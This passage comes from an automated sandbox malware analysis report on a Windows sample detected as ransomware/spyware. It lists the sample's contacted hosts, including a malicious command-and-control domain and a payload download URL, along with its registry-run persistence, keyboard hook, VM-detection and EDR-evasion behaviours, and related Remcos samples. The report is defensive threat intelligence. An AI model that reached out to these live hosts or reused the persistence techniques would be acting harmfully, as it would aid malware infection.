443, 49764 AMAZON-02US Germany 13->34 36 s3-w.us-east-1.amazonaws.com 54.231.193.17, 443, 49770 AMAZON-02US United States 13->36 24 C:\Users\user\AppData\Local\...\dzocgvabs.exe, PE32 13->24 dropped 60 Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines) 13->60 38 geoplugin.net 178.237.33.50, 49962, 80 ATOM86-ASATOM86NL Netherlands 18->38 62 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 18->62 64 Installs a global keyboard hook 18->64 66 Found direct / indirect Syscall (likely to bypass EDR) 18->66 file9 signatures10

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              pPLwX9wSrD.exe39%ReversingLabsWin32.Ransomware.Generic

              Dropped Files

              ⊘No Antivirus matches

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              http://www.geomind.co.kr/0%Avira URL Cloudsafe
              https://bbuseruploads.s3.amazonaws0%Avira URL Cloudsafe
              http://www.geomind.co.kr/Online0%Avira URL Cloudsafe
              http://www.hdsentinel.com/sendreport.phpU0%Avira URL Cloudsafe
              http://www.hdsentinel.com0%Avira URL Cloudsafe
              newstaticfreepoint24.ddns-ip.net0%Avira URL Cloudsafe
              http://www.hdsentinel.comU0%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              s3-w.us-east-1.amazonaws.com
              		54.231.193.17
              		truefalse
                		high
                bitbucket.org
                		185.166.143.50
                		truefalse
                  		high
                  navegacionseguracol24vip.org
                  		181.131.217.244
                  		truefalse
                    		high
                    geoplugin.net
                    		178.237.33.50
                    		truefalse
                      		high
                      s-part-0035.t-0009.t-msedge.net
                      		13.107.246.63
                      		truefalse
                        		high
                        newstaticfreepoint24.ddns-ip.net
                        		181.131.217.244
                        		truetrue
                          		unknown
                          bbuseruploads.s3.amazonaws.com
                          		unknown
                          		unknownfalse
                            		high

                            Contacted URLs

                            NameMaliciousAntivirus DetectionReputation
                            http://geoplugin.net/json.gpfalse
                              		high
                              https://bitbucket.org/facturacioncol/fact/downloads/null.exefalse
                                		high
                                newstaticfreepoint24.ddns-ip.nettrue
                                • Avira URL Cloud: safe
                                		unknown

                                URLs from Memory and Binaries

                                NameSourceMaliciousAntivirus DetectionReputation
                                https://bbuseruploads.s3.amazonaws.comcsc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007769000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.netcsc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://stackoverflow.com/q/14436606/23354csc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000076B1000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      https://github.com/mgravell/protobuf-netJcsc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        http://geoplugin.net/json.gpldzocgvabs.exe, 00000007.00000003.2493856126.0000000009D62000.00000004.00000001.00020000.00000000.sdmp, dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D6D000.00000004.00000001.00020000.00000000.sdmpfalse
                                          		high
                                          http://bitbucket.orgcsc.exe, 00000003.00000002.3256041816.00000000079A9000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            http://geoplugin.net/json.gppdzocgvabs.exe, 00000007.00000002.3254290019.0000000009D3A000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              https://web-security-reports.services.atlassian.com/csp-report/bb-websitecsc.exe, 00000003.00000002.3256041816.00000000079A9000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007765000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079C6000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                https://github.com/mgravell/protobuf-netcsc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://www.geomind.co.kr/pPLwX9wSrD.exefalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://www.hdsentinel.comUcsc.exe, 00000003.00000003.1794277108.0000000008E90000.00000004.00000800.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000002.2057015971.000000000F63E000.00000004.00001000.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000000.1792904857.000000000051C000.00000020.00000001.01000000.00000008.sdmp, HardDiskSentinelBin.exe.4.drfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://www.indyproject.org/HardDiskSentinelBin.exe.4.drfalse
                                                      		high
                                                      https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.netcsc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://dz8aopenkvv6s.cloudfront.netcsc.exe, 00000003.00000002.3256041816.00000000079A9000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007765000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079C6000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://www.hdsentinel.com/sendreport.phpUcsc.exe, 00000003.00000003.1794277108.0000000008E90000.00000004.00000800.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000002.2057015971.000000000F63E000.00000004.00001000.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000000.1792904857.000000000051C000.00000020.00000001.01000000.00000008.sdmp, HardDiskSentinelBin.exe.4.drfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://github.com/mgravell/protobuf-neticsc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://geoplugin.net/dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D88000.00000004.00000001.00020000.00000000.sdmp, dzocgvabs.exe, 00000007.00000003.2493856126.0000000009D88000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://geoplugin.net/json.gp/Cdzocgvabs.exe, 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  http://geoplugin.net/json.gpLdzocgvabs.exe, 00000007.00000003.2493856126.0000000009D62000.00000004.00000001.00020000.00000000.sdmp, dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D6D000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://remote-app-switcher.prod-east.frontend.public.atl-paas.netcsc.exe, 00000003.00000002.3256041816.00000000079A9000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007765000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079C6000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.netcsc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://stackoverflow.com/q/11564914/23354;csc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://stackoverflow.com/q/2152978/23354csc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://bbuseruploads.s3.amazonawscsc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            https://cdn.cookielaw.org/csc.exe, 00000003.00000002.3256041816.00000000079A9000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007765000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079C6000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://www.geomind.co.kr/OnlinepPLwX9wSrD.exefalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://aui-cdn.atlassian.com/csc.exe, 00000003.00000002.3256041816.00000000079A9000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007765000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079C6000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  http://geoplugin.net/json.gpRdzocgvabs.exe, 00000007.00000002.3254552082.0000000009D99000.00000004.00000001.00020000.00000000.sdmp, dzocgvabs.exe, 00000007.00000003.2493856126.0000000009D88000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://remote-app-switcher.stg-east.frontend.public.atl-paas.netcsc.exe, 00000003.00000002.3256041816.00000000079A9000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007765000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079C6000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://bbuseruploads.s3.amazonaws.com/986cb0ac-5fcf-4393-afaa-e2b223260ae9/downloads/47e1d263-9601-csc.exe, 00000003.00000002.3256041816.00000000079CA000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007769000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        http://s3-w.us-east-1.amazonaws.comcsc.exe, 00000003.00000002.3256041816.00000000079E9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namecsc.exe, 00000003.00000002.3256041816.0000000007A55000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000076B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            https://bitbucket.orgcsc.exe, 00000003.00000002.3256041816.0000000007997000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000076B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              http://bbuseruploads.s3.amazonaws.comcsc.exe, 00000003.00000002.3256041816.00000000079E9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                http://www.hdsentinel.comcsc.exe, 00000003.00000003.1794277108.0000000008E90000.00000004.00000800.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000002.2057015971.000000000F63E000.00000004.00001000.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000000.1792904857.000000000051C000.00000020.00000001.01000000.00000008.sdmp, HardDiskSentinelBin.exe.4.drfalse
                                                                                                • Avira URL Cloud: safe
                                                                                                		unknown

                                                                                                World Map of Contacted IPs

                                                                                                • No. of IPs < 25%
                                                                                                • 25% < No. of IPs < 50%
                                                                                                • 50% < No. of IPs < 75%
                                                                                                • 75% < No. of IPs

                                                                                                Public IPs

                                                                                                IPDomainCountryFlagASNASN NameMalicious
                                                                                                181.131.217.244
                                                                                                		navegacionseguracol24vip.orgColombia
                                                                                                		13489EPMTelecomunicacionesSAESPCOfalse
                                                                                                178.237.33.50
                                                                                                		geoplugin.netNetherlands
                                                                                                		8455ATOM86-ASATOM86NLfalse
                                                                                                185.166.143.50
                                                                                                		bitbucket.orgGermany
                                                                                                		16509AMAZON-02USfalse
                                                                                                54.231.193.17
                                                                                                		s3-w.us-east-1.amazonaws.comUnited States
                                                                                                		16509AMAZON-02USfalse

                                                                                                General Information

                                                                                                Joe Sandbox version:41.0.0 Charoite
                                                                                                Analysis ID:1573894
                                                                                                Start date and time:2024-12-12 17:37:55 +01:00
                                                                                                Joe Sandbox product:CloudBasic
                                                                                                Overall analysis duration:0h 11m 42s
                                                                                                Hypervisor based Inspection enabled:false
                                                                                                Report type:full
                                                                                                Cookbook file name:default.jbs
                                                                                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                Run name:Run with higher sleep bypass
                                                                                                Number of analysed new started processes analysed:11
                                                                                                Number of new started drivers analysed:0
                                                                                                Number of existing processes analysed:0
                                                                                                Number of existing drivers analysed:0
                                                                                                Number of injected processes analysed:0
                                                                                                Technologies:
                                                                                                • HCA enabled
                                                                                                • EGA enabled
                                                                                                • AMSI enabled
                                                                                                Analysis Mode:default
                                                                                                Analysis stop reason:Timeout
                                                                                                Sample name:pPLwX9wSrD.exe
                                                                                                renamed because original name is a hash value
                                                                                                Original Sample Name:8ee7bb70506574eb0ba1bffc0bafd993c707d01e54385ca83fb3f731521a9298.exe
                                                                                                Detection:MAL
                                                                                                Classification:mal100.troj.spyw.expl.evad.winEXE@6/5@5/4
                                                                                                EGA Information:
                                                                                                • Successful, ratio: 66.7%
                                                                                                HCA Information:
                                                                                                • Successful, ratio: 84%
                                                                                                • Number of executed functions: 23
                                                                                                • Number of non-executed functions: 330
                                                                                                Cookbook Comments:
                                                                                                • Found application associated with file extension: .exe
                                                                                                • Sleeps bigger than 100000000ms are automatically reduced to 1000ms
                                                                                                • Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

                                                                                                Warnings

                                                                                                • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
                                                                                                • Excluded IPs from analysis (whitelisted): 40.81.94.65, 13.107.246.63, 172.202.163.200
                                                                                                • Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, twc.trafficmanager.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
                                                                                                • Execution Graph export aborted for target dzocgvabs.exe, PID 8076 because there are no executed function
                                                                                                • Not all processes where analyzed, report is missing behavior information
                                                                                                • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                • VT rate limit hit for: pPLwX9wSrD.exe

                                                                                                Simulations

                                                                                                Behavior and APIs

                                                                                                TimeTypeDescription
                                                                                                17:39:30AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run OrionLegacyCLI C:\Users\user\Videos\OrionLegacy\Bin\OrionLegacyCLI.exe
                                                                                                17:39:38AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run OrionLegacyCLI C:\Users\user\Videos\OrionLegacy\Bin\OrionLegacyCLI.exe
                                                                                                17:39:43Task SchedulerRun new task: dzocgvabs path: C:\Users\user\AppData\Local\Temp\dzocgvabs.exe
                                                                                                17:40:11AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run HardDiskSentinea C:\Users\user\Favorites\HardDiskSentine\redist\HardDiskSentinelBin.exe
                                                                                                17:40:19AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run HardDiskSentinea C:\Users\user\Favorites\HardDiskSentine\redist\HardDiskSentinelBin.exe

                                                                                                Joe Sandbox View / Context

                                                                                                IPs

                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                181.131.217.244sXpIsdpkzy.exeGet hashmaliciousRemcosBrowse
                                                                                                  hCJ8gK9kNn.exeGet hashmaliciousRemcosBrowse
                                                                                                    x4fDy1muYs.exeGet hashmaliciousUnknownBrowse
                                                                                                      VwiELrqQjD.exeGet hashmaliciousRemcosBrowse
                                                                                                        ozfqy8Ms6t.exeGet hashmaliciousUnknownBrowse
                                                                                                          3XSXmrEOw7.exeGet hashmaliciousUnknownBrowse
                                                                                                            s0tuvMen1D.exeGet hashmaliciousAsyncRAT, DcRatBrowse
                                                                                                              hCJ8gK9kNn.exeGet hashmaliciousUnknownBrowse
                                                                                                                SYSnyI8qDu.exeGet hashmaliciousRemcosBrowse
                                                                                                                  178.237.33.50sXpIsdpkzy.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • geoplugin.net/json.gp
                                                                                                                  VwiELrqQjD.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • geoplugin.net/json.gp
                                                                                                                  SYSnyI8qDu.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • geoplugin.net/json.gp
                                                                                                                  Reqt 83291.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                  • geoplugin.net/json.gp
                                                                                                                  DOCUMENT#5885588@081366(766.pdf.exeGet hashmaliciousGuLoader, RemcosBrowse
                                                                                                                  • geoplugin.net/json.gp
                                                                                                                  1733845413a1d8742853c308d6ac4d050f80c4b91bf14f4919c2728222ecef14ce82d51adb973.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • geoplugin.net/json.gp
                                                                                                                  RFQ 008191.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                  • geoplugin.net/json.gp
                                                                                                                  PO-8776-2024.jsGet hashmaliciousRemcosBrowse
                                                                                                                  • geoplugin.net/json.gp
                                                                                                                  order CF08093-24.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                  • geoplugin.net/json.gp
                                                                                                                  matchingwithbestthingstobegreatforentirelifegivenmebestthignsevergive.htaGet hashmaliciousCobalt Strike, Remcos, HTMLPhisherBrowse
                                                                                                                  • geoplugin.net/json.gp

                                                                                                                  Domains

                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                  navegacionseguracol24vip.orghCJ8gK9kNn.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 181.131.217.244
                                                                                                                  ozfqy8Ms6t.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 181.131.217.244
                                                                                                                  3XSXmrEOw7.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 181.131.217.244
                                                                                                                  hCJ8gK9kNn.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 181.131.217.244
                                                                                                                  bitbucket.orghCJ8gK9kNn.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 185.166.143.49
                                                                                                                  x4fDy1muYs.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.48
                                                                                                                  ozfqy8Ms6t.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  3XSXmrEOw7.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  hCJ8gK9kNn.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.49
                                                                                                                  https://feji.us/m266heGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  lLNOwu1HG4.jsGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  iVH355vnza.vbsGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  9QwZPBACyK.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  geoplugin.netsXpIsdpkzy.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  VwiELrqQjD.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  SYSnyI8qDu.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  Reqt 83291.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  DOCUMENT#5885588@081366(766.pdf.exeGet hashmaliciousGuLoader, RemcosBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  1733845413a1d8742853c308d6ac4d050f80c4b91bf14f4919c2728222ecef14ce82d51adb973.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  RFQ 008191.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  PO-8776-2024.jsGet hashmaliciousRemcosBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  order CF08093-24.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  matchingwithbestthingstobegreatforentirelifegivenmebestthignsevergive.htaGet hashmaliciousCobalt Strike, Remcos, HTMLPhisherBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  s3-w.us-east-1.amazonaws.comhCJ8gK9kNn.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 3.5.25.23
                                                                                                                  ozfqy8Ms6t.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 3.5.29.178
                                                                                                                  3XSXmrEOw7.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 3.5.28.146
                                                                                                                  financial_policy_December 10, 2024.pdfGet hashmaliciousKnowBe4, PDFPhishBrowse
                                                                                                                  • 54.231.205.1
                                                                                                                  https://login.hr-internal.co/27553be9ed867726?l=50Get hashmaliciousUnknownBrowse
                                                                                                                  • 3.5.28.204
                                                                                                                  http://prntbl.concejomunicipaldechinu.gov.coGet hashmaliciousUnknownBrowse
                                                                                                                  • 16.15.193.78
                                                                                                                  https://github.com/Matty77o/malware-samples-m-h/blob/main/TheTrueFriend.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 54.231.165.145
                                                                                                                  https://auth.ball.comGet hashmaliciousUnknownBrowse
                                                                                                                  • 16.182.101.169
                                                                                                                  https://businessnotice.org/dhl/22450156620/tracking?u=84775-c0bf6be57168918ea5fe039631be6c3a772f4fac11292328fca4a210ba0e8890Get hashmaliciousUnknownBrowse
                                                                                                                  • 52.217.98.132
                                                                                                                  https://quiet-sun-5d9f.atmos4.workers.dev/loginGet hashmaliciousUnknownBrowse
                                                                                                                  • 3.5.23.166

                                                                                                                  ASNs

                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                  EPMTelecomunicacionesSAESPCOsXpIsdpkzy.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 181.131.217.244
                                                                                                                  hCJ8gK9kNn.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 181.131.217.244
                                                                                                                  x4fDy1muYs.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 181.131.217.244
                                                                                                                  VwiELrqQjD.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 181.131.217.244
                                                                                                                  ozfqy8Ms6t.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 181.131.217.244
                                                                                                                  3XSXmrEOw7.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 181.131.217.244
                                                                                                                  s0tuvMen1D.exeGet hashmaliciousAsyncRAT, DcRatBrowse
                                                                                                                  • 181.131.217.244
                                                                                                                  hCJ8gK9kNn.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 181.131.217.244
                                                                                                                  SYSnyI8qDu.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 181.131.217.244
                                                                                                                  AMAZON-02UShCJ8gK9kNn.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 185.166.143.49
                                                                                                                  x4fDy1muYs.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.48
                                                                                                                  ozfqy8Ms6t.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  3XSXmrEOw7.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  hCJ8gK9kNn.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.49
                                                                                                                  file.exeGet hashmaliciousVidarBrowse
                                                                                                                  • 18.238.49.124
                                                                                                                  file.exeGet hashmaliciousInvicta Stealer, XWormBrowse
                                                                                                                  • 45.112.123.126
                                                                                                                  jew.arm.elfGet hashmaliciousUnknownBrowse
                                                                                                                  • 52.30.223.81
                                                                                                                  7299_output.vbsGet hashmaliciousUnknownBrowse
                                                                                                                  • 3.78.28.71
                                                                                                                  ATOM86-ASATOM86NLsXpIsdpkzy.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  VwiELrqQjD.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  SYSnyI8qDu.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  Reqt 83291.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  DOCUMENT#5885588@081366(766.pdf.exeGet hashmaliciousGuLoader, RemcosBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  1733845413a1d8742853c308d6ac4d050f80c4b91bf14f4919c2728222ecef14ce82d51adb973.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  RFQ 008191.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  PO-8776-2024.jsGet hashmaliciousRemcosBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  order CF08093-24.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  matchingwithbestthingstobegreatforentirelifegivenmebestthignsevergive.htaGet hashmaliciousCobalt Strike, Remcos, HTMLPhisherBrowse
                                                                                                                  • 178.237.33.50
                                                                                                                  AMAZON-02UShCJ8gK9kNn.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 185.166.143.49
                                                                                                                  x4fDy1muYs.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.48
                                                                                                                  ozfqy8Ms6t.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  3XSXmrEOw7.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  hCJ8gK9kNn.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.49
                                                                                                                  file.exeGet hashmaliciousVidarBrowse
                                                                                                                  • 18.238.49.124
                                                                                                                  file.exeGet hashmaliciousInvicta Stealer, XWormBrowse
                                                                                                                  • 45.112.123.126
                                                                                                                  jew.arm.elfGet hashmaliciousUnknownBrowse
                                                                                                                  • 52.30.223.81
                                                                                                                  7299_output.vbsGet hashmaliciousUnknownBrowse
                                                                                                                  • 3.78.28.71

                                                                                                                  JA3 Fingerprints

